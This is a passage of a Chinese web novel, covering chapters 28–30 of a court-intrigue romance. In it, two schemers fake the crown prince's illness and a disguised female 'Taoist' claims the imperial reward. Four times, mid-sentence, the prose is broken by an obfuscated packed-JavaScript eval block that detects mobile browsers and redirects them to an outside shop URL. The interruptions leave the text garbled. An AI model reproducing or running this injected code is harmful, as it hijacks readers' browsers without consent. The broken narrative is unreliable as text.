穆归礼却再一次拦住了她,说道:“既然青萝已死,王妃的死讯便也可以对外公布了。江小姐,你看本王何时去贵府提亲比较合适呢?” 江御暮心中响起警铃,脸上却浮起一个微笑,找借口道:“不急。如今太子病重,你若在这个节骨眼上大办喜事,少不得要惹陛下不悦。再等等吧。” 穆归礼赞同道:“还是你想得周全。” 敷衍完大婚的话题,江御暮总算得以脱身。 回府途中,她路过府衙,见门外围着许多人,里三层外三层的。 江御暮费了好大力气才挤到前排,定睛一看,原来是宫里派了两个人来张贴皇榜。 至于内容,当然就是为太子招募“神道高人”,若能治好太子的怪病,便可领十万两黄金之赏。 江御暮心道:十万两,还是黄金,皇帝可真舍得下本啊。 回府把这话与江淮照一说,他却牙根痒痒起来,恨得直拍大腿。 “皇帝老儿有什么不舍得的?这钱又没动他的内帑,全是从户部挪的!他随口一说,轻轻松松便定下十万黄金之数。有苦不能言的是谁?还不是我们户部吗?!” 江御暮甚少见他如此激动,不由笑出声来:“父亲稍安勿躁,户部存银不够么?” 江淮照连声叹气:“若从牙缝里挤一挤,少给工部和兵部支几笔钱,也许能凑够十万两黄金。” 江御暮满意一笑,建议道:“工部也就罢了,他们要多少钱,父亲都别驳回。既然皇帝喜欢修园子,就让他修个痛快。” 江淮照隐隐觉得,她意在言外。 “你是说,让我把这笔钱的缺口,全都算在兵部头上?”他问。 “不错。”江御暮意味深长道,“皇帝若问起原因,父亲只需称颂当下盛世光景即可——既无内忧,又无外患,给兵部支去那么多银子作甚?就不怕驻守在外的武将们中饱私囊么?更有甚者,万一他们用国库的钱,给自己收买人心,趁着天高皇帝远,暗中培植私军,这可怎么好?” 江淮照心下了然,笑道:“如此一来,咱们便可坐收——” “嘘——”江御暮竖起一根手指抵在唇边,打断了他的话。 二人相视一笑,一切尽在不言中。 待江淮照拆东墙补西墙,凑齐十万两黄金,时间已然过了三日。 皇榜却仍然牢牢挂在布告栏上,无人敢揭。 赏金的诱惑虽然很大,但只要是个正常人,就知道惜命。 皇榜把太子的怪病写得玄之又玄,谁敢轻易揭榜啊?万一治不好他,惹得皇帝龙颜大怒,岂不是得把自己的小命赔进去么? 话又说回来,百姓们其实也不希望有人能治好太子的病。在他们看来,穆归衡合该早死,都是报应! 皇帝迟迟等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13191345|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不来揭榜的“高人”,渐渐焦躁起来。 这一日早朝,他终于耐不住性子,向众臣询问对策。 朝中无人敢说实话,倒是有那看热闹不嫌事大之徒进言道:“也许是赏金的数额入不了高人之眼,陛下若提高赏额,兴许便能招来高人了。” 不出意外的,这份压力又落到了江淮照头上。 可是这一次,江御暮却没再让他从兵部的牙缝里抠钱。 “谁说招徕‘高人’只能靠赏金了,换成赏官,也许会更有奇效呢?” 次日面圣,江淮照便对皇帝哭起穷来,极言户部存银不足。 眼看皇帝将要发火,江淮照连忙道出用官衔补赏额的建议。 皇帝闻言,火气竟消去了不少。 “赏官?倒是个办法。”他捻须道,“可是……朝中三品以上的官职皆无空缺,已然赏无可赏。三品以下,又怕高人瞧不上,嫌官小。” 其实此话并不全然正确,因为自皇帝开国以来,朝中最重要的官位就一直虚悬着——宰相之位。 只因皇帝自己便是前朝的宰相,费尽心机,从幼主手中窃取了皇位。 故此,他无论如何也不愿在本朝任命宰相,唯恐有人重走他自己走过的窃国之路。 江淮照知道他的忌讳,自然不会去触霉头,转而提议道:“陛下不妨在朝中现有的体系之外,另设一个官职。只要您开了金口,说它是三品,它就是三品,说它是一品,它就是一品,谁敢挑剔什么?” 皇帝想了想,觉得此法可行,正欲派人传吏部尚书前来商议,却忽地住了口。 “老狐狸。”他眯着眼看向江淮照,“你既然提出这个建议,想必心中已经有成形的详策了吧?” 江淮照谄媚一笑,赞一句陛下英明,接着说道:“国师之位,陛下觉得如何?” “国师……”皇帝细细咂摸一二,蹙眉道,“纵观历代史书,所谓国师,大多是些江湖骗子。除了炼些毒丹,迎合君主的长生之愿,便再无其他本事。朕若在朝中设此官职,岂不是教后人议论,说朕迷信方士么?” 江淮照耐心引导:“国师国师,辅国之师,原本有着极好的意蕴,只是被轻信江湖骗子的昏君们败坏了名声。然陛下天纵英明,怎会为庸人所骗?您钦点的国师,定然当得起这一称号。来日青史留名,也必是一段佳话!” 皇帝听他讲话总是觉得舒心,这次也不例外。 想想也是,如果有人能治好太子的怪病,必然身负奇才,迎作国师也不为过。 “好,就依江爱卿之言。” 江淮照大喜,回府后忙不迭将这个好消息告知江御暮。 江御暮回到自己院中,又将同样的喜讯转告费红英。 一同送来的,还有一套为她量身定制的道袍,与男子所用的发冠。 彼时费红英仍在埋头研制解药,闻言抬眼道:“我过几日再去揭皇榜行吗?时异的解药就快制好了,我这几日抽不开身。” 江御暮点点头:“也好。” 皇帝老儿,你就再焦心几日吧。 不过没关系,很快,她就会为你送上一位完美的“国师”。 28. 穆归衡疑动红鸾星,飞鸿影立下军…… 两日后,费红英终于熬出一碗黑如墨汁的药汤。 “这便是那奇毒的解药么?”江御暮问。 费红英想了想,答道:“我不敢说有十足的把握,总之,先让他服下试试吧。” 受了十几日的罪,时异现在已经形容枯槁,整个人比从前瘦削许多。 费红英灌他喝下药汤后,并未留在一旁观察药效,而是直接回到江御暮的屋中,换上了她早早备好的那身道袍。 满头乌发在头顶束起一个单髻,玉冠玉簪颇为古朴。 费红英看看镜子,又回头看看江御暮,不太确定地问道:“我这样打扮,像男人么?” 万一伪装得不好,无法在皇帝面前瞒天过海,难免惹出麻烦来。 江御暮围着她踱步一圈,细细端详后笑道:“旁的倒没什么,只是你这一双剪水秋瞳,一看便是个姑娘。” 费红英对着镜子懊恼地扯了扯眼角,忽而灵光一闪,在镜中与江御暮对视道:“你可有半透光的发带?不拘什么材质,最好能与我这身道袍同为一色。” 江御暮猜到了她的主意,即刻去匣中翻找,取出一条墨蓝色的飞绡发带。 费红英将它覆在眼上,于脑后打个结。旁人看不出她的双眼是睁是闭,她自己却能将面前的场景看个大概。 “现在呢,是不是更像个神棍了?”她笑问。 江御暮配合道:“敢问道长尊姓大名?” 费红英从袖中取出三枚铜钱,一起往上抛出,又稳稳接入手心——这动作,她近日已练习不下数百次了。 “贫道飞鸿影,见过江小姐。” 江御暮拱手一拜,问起:“道长即刻便去揭皇榜么?” “江小姐莫急,贫道的伪装,还有最后一道工序尚未完成呢。” 说着,费红英手指一搓,三枚铜钱便消失不见,像变戏法似的,旋即捏出一颗葡萄大小的药丸来。 她干嚼了那药丸,又用浓茶漱一漱口,再讲话时,声音就比往常沉了几分,俨然是个年轻男子。 “现在,贫道便可以去揭皇榜了。” 此前,费红英为研制解药而耽搁的两日里,京中仍旧无人敢去揭榜。 皇帝悲愁之下,又将赏额提高了两万金,凑钱的任务自然压到了江淮照头上。 歪打正着,也给江御暮送来了拜访穆归衡的理由。两人一见面,她就煞有介事地抱怨起来。 “你父皇金口一开,我爹就寝食难安。先前好不容易凑齐那十万金,已经害他得罪了兵部。现在又要加两万金,只怕工部的叔伯们也要给他脸子瞧了。” 穆归衡这些日子一直闷在屋里,装病装得难受,眼下总算有机会能与人说说话,像见了救星似的。 他不再卧床,起身与江御暮面对面坐在桌边,宽慰道:“其实令尊不必如此尽责,大可在我父皇面前敷衍敷衍。左右那皇榜也无人敢揭,赏金再多,终究发不出去。户部的存银,自当紧着兵部支取。” 江御暮轻叹一声,眉间似有忧色:“我爹那个死脑筋,哪敢违拗你父皇的旨意啊……我现在只盼能尽快找到江连镜,如此,我就不必再顾忌安王的威胁,你就无需继续装病,我爹也就不用再为筹集赏金之事发愁了。” “你弟弟再度失踪一事,至今还是没有任何线索吗?”穆归衡问。 江御暮灰心丧气地摇摇头,刚说出“没有”二字,就被一阵敲门声打断。 紧接着,石涅焦急的声音传入二人耳中。 “殿下,皇上带人来看您了,正往内院走呢!” 江穆二人对视一眼,一个真惊讶,一个装得比真的还惊讶。 “你快回床上躺着去吧,别露馅了!”江御暮催促道。 穆归衡担心的却是另一件事:“我父皇来得也太突然了,你若现在离开,八成得迎面撞上他。” 江御暮却没忍住一笑,问他:“我为什么要离开?” 穆归衡一愣,答道:“你若不躲开我父皇,待他问起你为何在此,咱们又该如何解释呢?” 江御暮不假思索道:“臣女身为太子殿下的好友,在您病重时前来探望,有何不妥?” 穆归衡仿佛被她点醒——是啊,都怪自己满脑子都是装病之事,才做贼心虚,害怕皇帝发现江御暮这个“同谋”。然而,若从皇帝的视角出发,她出现在这里并无古怪,何须回避? 说话间,皇帝的步伐已然由远及近。 穆归衡连忙躺回床上,闭起双眼佯装熟睡。 江御暮则坐在床边,捏着血帕假模假式帮他擦拭唇角。 既然想做太子妃,那就得把戏演足了。皇帝面前,也得多刷刷脸,至少得给他留下个好印象——管它几分真,几分假呢? 这段时日,皇帝因为不想打扰病重的儿子休息,所以每次来看望他时,都不许下人通报。 今日也是如此,皇帝轻手轻脚地推开屋门,悄声踏上地毯,向里间走去。 而他的身后,还跟着一位身着道袍的蒙眼少年。 少倾,江御暮听见身后似有响动,回头看见来者是皇帝,连忙做出一副恭敬姿态,跪拜行了大礼。 皇帝定睛一瞧,这姑娘的衣着略显贵气,不由对她的身份产生了好奇。 “免礼平身。”他将声音放得很轻,“你是何人?” “回陛下,臣女江氏,家父乃户部尚书江淮照。” 哦,近臣之女。 皇帝十分看重、信赖江淮照,对他的女儿也天然有着几分好感。 “抬起头来,让朕瞧瞧。”他说 此语使穆归衡心中一惊,抑不住担忧起来——皇帝不会见她貌美,便生出据为己有之心吧? 不行,他总得做点什么,引开皇帝的目光。 “咳——咳咳!” 穆归衡猛地咳嗽起来,睁开双眼向江御暮看去,正好与她目光相撞。 “殿下,您怎么样了……”江御暮满目关切,甚至渐渐红了眼眶。 皇帝若有所思地打量着这两人,见穆归衡又想下床向他行礼,连忙伸手按住他的动作,转而继续向江御暮发问。 “你既是官家女子,怎么会孤身一人跑来太子府中呢?”他用狐疑的眼神盯着她,“是你父亲叫你来的么?” 江御暮不卑不亢道:“回陛下,太子殿下是臣女的知己好友。臣女听闻殿下近日缠绵病榻,实在忧心如焚,故而特来探望。又恐家父厉言说教,这才瞒着他独自前来。” “知己好友?”皇帝把目光转向穆归衡,笑问道,“是真的么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13204191|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 穆归衡轻轻点头:“是。” 皇帝面上喜色更甚,又问江御暮:“你与太子是如何相识,如何相知的?” “回陛下,臣女在东街开着一家书铺,偶逢太子殿下来买书,因而相识。后来又于京郊湖心亭以诗会友,一觞一咏无比投契,因而相知。” 因江御暮背向穆归衡而立,他看不见她脸上刻意矫饰的少女怀春情态。 可当穆归衡听到“以诗会友”一句,他立时忆起京郊湖心的荒唐一夜,脸上不自知地浮现一抹羞赧之色。 二人的神情落入皇帝眼中,相互映衬,竟使他龙颜大悦。 “哈哈哈哈哈!” 自从得知太子病重,他就没有再这样畅快地笑过了。 皇帝紧挨着穆归衡坐下,重重捏住他的手,难掩激动道:“吾儿,你有救了!” 不等穆归衡追问他何出此言,皇帝又兴奋地站起来,走到沉默许久的蒙眼少年面前,双手颤抖着扶上她的双臂。 “道长真乃神人也,一切果然如你卦中所说啊!” 卦?什么卦? 穆归衡顿觉事有蹊跷,忙问:“父皇此言何意?” 皇帝转过身来望着他,喜不自禁道:“这位道长名唤飞鸿影,当真颇有奇才!今日他揭了皇榜,说定能治好你的顽疾!为自证神通,他还遥遥给你算了一卦,条条皆准!” 她说太子红鸾星动,正缘已至。且女方姓名五行带水,时有文曲星入运,故而与太子结缘于诗书,情定于水上。 皇帝原本并不相信这一卦——他的儿子,他还不了解么?之前纳了一百个姬妾,都没能留下一个活口,现在怎么可能突然冒出来一段“正缘”? 可是既然费红英言之凿凿,还说卦中女子此刻就在太子府中,皇帝便决定去验上一验。 毕竟……万一呢? 此时此刻,皇帝无比庆幸自己做了正确的决定。 原来世间真有所谓“神道高人”,能用三枚铜板推算出世间万事因缘。 “女方姓名五行带水。” 江御暮,可不是满江水么? “与太子结缘于诗书,情定于水上。” 于书铺相识,于京郊湖心亭以诗会友,互相引为知己,可不是条条皆准么? 皇帝这厢连连暗叹,穆归衡却用看江湖骗子的眼神看向费红英。 他知道,京中早有“江御暮会成为太子妃”的流言,只是皇帝久居深宫之内,对此一无所知罢了。 此外,江穆二人相识于书铺,堪称人人知晓的秘密。在京郊湖心共乘一船之事,也有不少士子亲眼得见,保不齐传进了多少人的耳朵里。 这些消息若被江湖骗子利用,牵强附会,融入卦辞之中,皇帝定然难以看出其中门道。 想到这里,穆归衡心中冷笑一声,警惕地盯着费红英。而她竟恍若未觉,仿佛真的眼盲一般。 皇帝重重一拍她的肩膀,满含期待地说:“道长,你若能救得太子性命,便是朕之恩人,亦是国之恩人!” 费红英微微躬身,自信满满道:“陛下放心,贫道定然不负所托。” 透过蒙眼的发带,她不着痕迹地看向江御暮。 “江小姐,可以助贫道一臂之力吗?” 29. 费红英改戏测人心,穆归衡拈酸闻…… 江御暮闻言,垂首道:“臣女自当效力。” 穆归衡怕她遭奸人利用,想出言阻拦,奈何皇帝在场,他一时不好开口。 费红英却对皇帝说道:“陛下,贫道即刻便可为太子殿下解忧。只是您乃真龙天子,有龙气随身,贫道需避其锋芒,才好施展。” 说人话就是——她帮太子解煞时,皇帝不能在场。 “既然如此,朕就先去偏院等候道长的捷报吧!” “是,贫道恭送陛下。” 随着关门声落定,屋内的气氛霎时紧张起来。 穆归衡坐起身来,带着讥讽之意厉声问道:“你是哪家道观的道长?” 费红英信口胡诌:“不过一介游方道人罢了。” 穆归衡又问:“学过医术?” 费红英说谎不脸红:“未曾学过。” 穆归衡冷笑一声,直视她道:“不通医术,却敢揭下皇榜,来为本宫治病?你到说说,要如何治?” 费红英从袖中摸出三枚铜钱,往上抛出,又接入手中。铜钱依次相撞,发出清脆响声。 将这个动作重复六次后,她才将铜钱收回袖中。 穆归衡见状,更觉她在故弄玄虚,不由一哂。 江御暮在旁配合道:“道长为何不答太子殿下的问题,却自顾自算起卦来?” 费红英告罪一声,朝穆归衡慢悠悠走近几步,边走边说:“向上天问同一桩事,其实不该起两次卦的。只是事关重大,贫道不得不反复确认。幸而两次起卦的结果如出一辙,定然无误。” 穆归衡虽不信她这番说辞,却也想听听她还能说出什么来,于是问道:“道长方才在我父皇面前,不是将所谓的‘红鸾星动’说得言之凿凿么?现在怎么又失了信心,还要向上天再次求证?” 语毕,他看向江御暮,见她也满面警惕,便稍稍放了心。 费红英则道:“太子殿下误会了,贫道二问上天之事,并非您的正缘桃花。” 穆归衡正欲追问,她却主动送上平地一声惊雷—— “太子殿下,您装了这些日子的病,想也累得慌吧?” 闻得此言,江穆二人下意识对上彼此的目光,互相交换一个眼神,也不知算有几分默契。 下一刻,穆归衡猛地咳嗽起来,仿佛被费红英的话气着了。同时心中暗道:此人怎么会知道我装病之事?是在故意诈我?还是有人给他通风报信?总不可能真是算卦算出来吧! 江御暮连忙上去帮他拍背,同时狠剜费红英一眼,分辩道:“道长此话我竟听不懂了!殿下旧疾缠身,被折磨了数年之久,一众太医都束手无策。难道,这是他想装就能装出来的么?” “很简单。”费红英波澜不惊,面无表情道,“因为从前是真的,如今是假的。” 此话一出,江御暮明显感觉到穆归衡身体一僵。 再开口时,他对费红英敌意更甚。 “竖子可恶!竟敢如此污蔑本宫,到底是何居心?” 费红英轻轻一笑,沉着道:“殿下不必如此激动,是真是假,您自个心里清楚。贫道若有心向陛下告密,就不会在您面前捅破窗户纸了。” 穆归衡听罢,便有几分动摇。江御暮趁热打铁,附耳轻声提议道:“陛下似乎很信任这个道人,咱们还是不要与她正面冲突为好。不妨先探一探她的底细,再作应对,如何?” 既然连她都这么劝了,穆归衡自然从善如流,索性挑明了向费红英发问。 “你既知本宫是在装病,想必也能猜到,本宫不会轻易让人‘治好’了这病。如此贸然揭下皇榜,就不怕竹篮打水一场空么?” “不怕。”费红英自信满满,“贫道既然敢揭榜,就有本事治好殿下的假病。” 说着,她又微微偏头,面朝江御暮说道:“依卦象来看,这病的根由,就在江小姐您的身上。” 说完还不等江御暮回话,穆归衡就羞恼起来:“胡吣什么!本宫的病根,与江小姐何干?” 费红英一脸无辜,冲他问道:“难道卦象有误,太子殿下这病,不是江小姐求您装的么?” 穆归衡这下无从辩驳了,想想还真是这么回事,人家并没有说错。 江御暮看似仍有戒备,冷着脸向费红英求证:“仅凭三枚铜板,当真能算出这些细枝末节么?” 费红英得意一笑,又摆出自谦的模样来:“这些倒还不算详尽,惭愧,惭愧。贫道的本事若再进益几分,此卦还能一道算出江小姐向太子殿下求助的内情。奈何学艺不精,不提也罢。” 江御暮眼神一动,向穆归衡投去一个征求意见的目光,同时拉起他一只手,用手指在他掌心快速写下几个词—— “真才,一试,寻弟。” 意为:此人或许有些真才实学,可否让我请她一试,用卦术算一算舍弟的下落? 虽然她为防费红英听见,表达得十分隐晦,穆归衡却完全理解了她的意思,点点头以示没有意见。 江御暮这才开口:“道长若想探知内情,再起一卦不就行了?” 费红英却严肃起来,一本正经道:“不可不可!贫道虽是远遁红尘的清修之人,却终究是个男子,怎能擅自窥探江小姐的私事呢?” 不知为何,穆归衡总觉得此人这段话矫揉造作,有佯装坦荡,借此骗取女儿家信任之嫌。 扭头看看江御暮,她似乎完全没有同样的感受,反而面露赞许之意,彻底放下了防备。 唉,这叫人如何不担心?万一被骗了可怎么好? 想到此处,他轻轻扯了扯她的袖子,以示提醒。 江御暮却像没有理解他的暗示,对费红英说道:“无碍,我许你起卦。” 穆归衡紧紧盯着费红英,生怕她整出点什么幺蛾子。 可惜世间之事,总是怕什么,来什么。 费红英这次一改常态,对江御暮提议道:“此类情由复杂之事,用铜钱起卦未必能算得准确。江小姐若不介意,贫道可以使用另一种方法。” 穆归衡竖起耳朵,与江御暮异口同声道:“什么方法?” 不光他好奇,江御暮也是真的好奇——早先对戏时,没有换新方法的这一段台词啊? 费红英看出了她的疑惑,冲她狡黠一笑:“测字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13214159|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 虽然那表情一闪而过,却还是落入了穆归衡眼中。 在他看来,那显然是一个不怀好意的笑容。近乎暗送秋波,委实失礼! 江御暮压下心头疑惑,说道:“好,我去书房取纸笔来。” “不必如此麻烦。”费红英阻拦道,“直接在贫道手上,随便比划几个字便可。” 语毕,她向上摊开手掌,伸到江御暮前方。 穆归衡神色微变,心道终于看穿了此人的把戏。 测字测字,测甚鸟字?还不是为了趁机揩油,占姑娘家的便宜么? 他想出言劝阻,可是喉头一哽,忽然意识到自己根本没有合理的说辞。 此刻眼前若换做其他任何一个女子,他都能以“男女授受不亲”之由相劝。 偏偏江御暮与他一样是异世来客,不同之处却在于——她那个朝代并不看重男女大防。 他这厢迟疑之际,江御暮已经抬起手指,在费红英掌心写下了三个字。 “别改戏。” 费红英憋着笑,假作苦思状,半晌后道:“有些眉目了。还请江小姐也摊开手掌,让贫道在您掌心画个符,届时再测一字,便可得解。” 毫无疑问,这段话也是她现改的台词,江御暮拦也白拦。 穆归衡听到此语,终于忍不住开口,阴阳怪气道:“方才你还说,问一事不宜起两次卦。眼下同问一事,怎么还要测两次字呢?” 费红英随机应变:“太子殿下有所不知,用不同方法问事时,行内规矩也各有不同。” 说着,她已飞速在江御暮手中写下一句话—— “太子在吃醋。” 江御暮这才明白,原来费红英临阵改戏,就是为了帮自己试探穆归衡的心意,借此判断她们的计划能否加速推进。 “符画好了,江小姐,烦请再写一次字吧。” 江御暮想了想,在她手中写下:“欲速则不达。” 费红英会意,于是不再擅动,仍老老实实地按照先前约好的台词往下讲。 “原来如此,原来如此!”她佯装恍然大悟,“看来,只要找到令弟的下落,便可祛除太子殿下的心病了吧?” 穆归衡本以为费红英在故弄玄虚,没想到她竟能一语中的,实在令人疑惑。 “江姑娘,你都写了什么字?”他忍不住问。 江御暮一脸真诚,答道:“第一次写了我的名字,第二次写了‘唐宋元明清’五个字。” 穆归衡质疑:“只是这样,便能算出内情么?” 费红英答道:“正是。” 穆归衡疑心难消:“你倒讲讲,这几个字如何拆解、如何分析,才能解出你方才所说的答案?” 费红英故作高深:“天机不可泄露。” 江御暮俨然毫不怀疑,握住她的手请求起来:“道长既有如此神通,可否帮我算一算,舍弟如今身处何方?是否平安?” “可以是可以,不过……” 费红英轻拍她的手背以示安慰,同时将目光转向穆归衡。 “这一次,就要请太子殿下相助了。” 30. 穆归衡生疑再试探,江连镜故地再…… “你且先说说,要本宫如何相助?”穆归衡警惕地问。 “很简单。既不需要您代为起卦,也不需要您亲赐墨宝。”费红英将双手揣入袖中,躬身施礼,“贫道所需,不过殿下的一个承诺而已。” “什么承诺?” “待贫道帮江小姐寻回亲人,太子殿下这病,便也该‘痊愈’了吧?”说着,费红英还摆出一副财迷样子,“毕竟贫道之所以愿意淌这浑水,就是为了陛下许诺的十二万赏金呐。” “好。” 穆归衡答应得干脆,反倒使江御暮心里没底起来。 难道,他真的再无怀疑了么? 江御暮思忖之际,只听穆归衡又道:“那便请道长算一算吧,江连镜如今身处何方?” 费红英从袖中拿出一张窄长黄纸,对江御暮说:“烦请江小姐刺破手指,用指尖血在这符上写下令弟的生辰八字。贫道只要烧了此符,便能算出他的下落。你们姐弟二人血脉相连,用此法寻人最为稳妥。” 江御暮点头应下,接过符纸正欲照做,却听穆归衡在身后唤道:“江姑娘,我来帮你取血吧。” 她疑惑转身,见穆归衡使了个眼色,便顺水推舟,快步走去坐到他身边,轻声问道:“你这是做什么?” 穆归衡用狐疑的眼神扫费红英一眼,在江御暮耳边小声答道:“只是想试一试,看这道人是不是真的眼盲。” 说着,他从江御暮手中拿走那张黄纸,前后翻看一番,没发现什么异常。 接着,他悄声从床下拖出盛有鸡血的铜盆,示意江御暮用它来写字。 “顺便也试一试,此人是否真有神通。” 费红英通过半透光的蒙眼布,隐约能看见他们的奇怪举动,但是面上不显山不露水,仿佛真是一位眼盲之人。 不多时,江御暮起身走来,将那张黄纸交还给她。 “道长,我写好了。” 江御暮先高声一语,紧接着又用极低极轻的声音快速嘱咐道:“别戳穿。” 既然按照原计划演的这出戏,迟迟无法获得穆归衡的信任,那就反其道而行之,让他怀疑得更加彻底吧。 不破不立,也许如此一来,反而能有奇效。 费红英会意,只当不知道这符上画的并非人血,继续往下演。 她烧了符纸,将灰烬握入手里碾碎,口中念念有词。 少倾,她抬起头,面对江御暮站立的方向高声说:“找到了!” 穆归衡冷笑一声,露出一个“果然如此”的眼神。 江御暮也后退几步,仿佛对她生出了怀疑。 费红英佯装未觉,继续说道:“那地方委实偏僻,贫道难以言述。江小姐若想前去寻人,便由贫道带路吧。” 穆归衡起身拉住江御暮,向她摇摇头,接着对费红英说道:“若要江姑娘独自一人随你前去,本宫实在不能安心。不妨再等几个时辰,入夜以后,本宫和她一起去寻人。当然,仍由道长带路,少不了你的功劳。” 费红英朝他身后投去一瞥,见江御暮微微点头,便答应了下来。 三人约好会面的时间与地点后,费红英告辞离开,去偏院给皇帝回禀详情。 穆归衡这才放下防备,对江御暮说道:“此人果然是故弄玄虚之徒,经不得一试。” “是啊。”江御暮赞同道,“只是我不明白,她怎么会知晓你是在装病,又怎么会知道舍弟失踪之事?” “装病之事,也许是从太医院那边听到了风声。至于令弟失踪一事……”穆归衡深吸一口气,叹道,“怕只怕,这个道人与安王穆归礼有所勾连。之所以甘冒欺君之险如此行事,并不只是为了那十二万两赏金,而是为了博得国师之位,助他争储。” 江御暮佯装一惊道:“既然如此,她便是想借帮我寻回舍弟一事,获得你的信任了?” 穆归礼担忧道:“我也只是推测,并不能十分笃定。但……若真是这样,就说明穆归礼已然知晓你对他阳奉阴违,并不曾对我下毒。他若因此恼羞成怒,只怕会想方设法报复于你。” 江御暮不甚在乎道:“凭他怎么恼羞成怒,只要安王妃的血书还在我手上,穆归礼就得有所顾忌,不敢肆意妄为。” 穆归衡这才想起来她还手握如此筹码,终于松一口气,点头道:“为今之计,咱们也只有将计就计了。先救出令弟,再做打算。” 无论如何,穆归衡都不可能让安王的人顺利坐上国师之位。一旦他们手握大权,势必拿旧怨颇深的江家开刀。 江穆二人商议对策之际,费红英正在偏院面见皇帝。 “如何?吾儿可有救么?” “陛下宽心,贫道方才已取来药引。” 语毕,她从袖中又取出一张黄色符纸,其上用鲜血写着江御暮的生辰八字,是她们早先准备好的。 “只要以此入药,便可折江小姐的寿数,为太子殿下添福添寿。” 皇帝闻言,十分兴奋道:“能添多少寿数?” 费红英恭敬道:“陛下容禀,这要等贫道炼出药来,细观那丹丸的品相才能得知。” 皇帝纵然心焦也没有法子,只能连连点头:“那就烦请道长尽快炼药吧,若是缺钱缺物,都尽管告诉朕!” 费红英俯身下拜:“贫道什么都不缺,能为陛下效力,是贫道前世修来的福祉。” 皇帝听罢很是自得,恩赐般伸手扶费红英起身,许诺道:“道长啊,只要你能救得吾儿,这国师之位,便非你莫属。” 费红英千恩万谢,拜了又拜。 皇帝对她的态度极为满意,起驾回宫时,还让身边的老内监亲自送她回住处。 老内监谄笑着:“道长,不知您在何处下榻?” 费红英报上一家客栈的名字,对方没有任何怀疑——游方道人远赴京城,住在客栈合情合理。 行至客栈门口,费红英便让老内监留步,独自一人走了进去,径直上到二楼,敲响一间客房的门。 “谁?”门内是江连镜的声音。 “飞鸿影。”她如是答道。 江连镜这才放下戒备,打开门,却见她打扮得奇奇怪怪,眼睛还被布条蒙着,不由万分疑惑。 尽管肚子里憋着一连串问题,他还是先将人迎进屋内,探头看看左右无人,而后将门牢牢关上,才安然开口询问。 “红英姐,你这是——?” 费红英 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233231|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扯下蒙眼布,用力揉了揉眼睛,语焉不详道:“来传达你姐的旨意。” 江连镜似是来了兴致:“她有什么吩咐?我是不是终于能出门了?这次是什么任务?” 费红英仍然答得简略:“她的吩咐,就是让你故地重游。” …… 是夜,江穆二人与费红英在枕闲书铺汇合。一人带路,两人跟随,向城南的一片废弃民宅走去。 这是江御暮第四次来到这里,院内空空如也,连半个负责看守的护卫都没有——自从江连镜再度失踪,穆归礼就没有再在此处留派人手。 “江连镜就在这间院子里么?”穆归衡问。 费红英掐指一算道:“贫道最多能算到这一步,再具体的位置,贫道也无能为力了。太子殿下,江小姐,你们再仔细找找便是。” 二人在院内环顾一周,目光双双定在了正前方的屋门上。 那门被铁链锁住,门板上还有几道劈砍的痕迹。 三人走到门前,穆归衡本想用佩剑砍断铁索,江御暮却拦住他道:“别!你这剑肯定是万中无一的好剑,若用来砍这铁链,实在糟践了!” 倒不是她多管闲事,无端地替他省钱,实在是习武之人,舍不得看好兵器被如此糟蹋。 四下寻不到其他破门工具,江御暮便从发间拔出一根细长的双股铜钗,捅进锁眼里鼓捣起来。 半晌,三人终于听见咔哒一声,锁开了。 江御暮率先推门而入,穆归衡紧随其后,费红英则不紧不慢,倚在门边观望。 只见屋内家具寥寥无几,一张破床占据了大半空间。江连镜被黑布蒙住双眼,嘴也被布团堵住,双手被反绑在身后,整个人似乎昏迷不醒。 江御暮连忙扑到他身边,帮他取下黑布,然而他手腕上的麻绳捆得实在太紧,还是死结,她费了半天劲才解开。 这红英,捆得也太实在了!真有做绑匪的天赋! “江连镜,江连镜你醒醒!” 她反复喊着他的名字,许久都没有得到回应。 “江连镜,你别吓我……” 眼泪说来就来,江御暮搂住他的双肩,哭着在他耳边低声说道:“可以了,别拖延时间。” 